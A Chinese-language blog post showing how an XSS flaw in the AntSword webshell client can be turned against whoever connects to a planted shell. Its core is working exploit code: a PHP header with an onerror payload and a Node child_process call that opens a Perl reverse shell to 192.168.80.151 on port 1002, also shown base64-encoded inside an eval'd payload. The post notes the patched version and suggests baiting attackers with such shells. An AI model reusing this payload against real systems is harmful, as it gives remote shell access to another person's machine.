蟻劍xss漏洞,獲取***者shell
一、漏洞成因
蟻劍shell遠程連接失敗時,蟻劍會返回錯誤信息,但因為使用的是html解析,導致xss漏洞。
用過蟻劍的童靴都清楚,當我們遠程連接寫好的webshell的時候,有時候可能因為shell書寫錯誤或者鏈接填寫不當的時候,會出現大堆的錯誤代碼。
該信息並沒有進行 XSS 保護,因此能夠利用 js 調用 perl 便可反彈***者的shell
很多時候我們不去註意,但這裏恰恰就是漏洞利用點。(漏洞往往就在你的眼皮地下,你只要向下看看就能找到。可惜我們只向前看,不向下看。)
二、漏洞驗證
鑒於本人對js沒有深入了解,只懂得些皮毛。這裏就直接引用別人寫好的shell了
(1)驗證xss漏洞的存在
<?php header(‘HTTP/1.1 500 <img src=# onerror=alert(1)>‘);?>
Head()函數,向客戶端發送原始的 HTTP 報頭。
當蟻劍遠程連接shell的時候就會觸發彈框。
(2)反彈***者shell
require(‘child_process‘).exec(‘perl -e \‘use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\‘‘,(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
將這些代碼進行base64加密
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7
構造header
<?php
header("HTTP/1.1 406 Not <img src=# onerror=‘eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())‘>");
?>
將其寫入被***中的網站目錄下
被***機監聽1002端口
***機蟻劍遠程連接
獲得***者shell
在最新的版本中, 修改了 toastr 可以輸出 html 的特點,以後均不支持輸出 html。建議及時更新到最新版本
三、總結
如果你檢測到了自己被上傳了webshell,不妨可以試一試這個漏洞,對方如果使用的是蟻劍,當對方連接你的時候,也是他上線的時候。或者在比賽(zhen shi)環境的時候,故意制造一個這樣的shell,誘惑一些小可愛連一下。
參考鏈接:
https://github.com/AntSwordProject/antSword/issues/147
蟻劍xss漏洞,獲取***者shell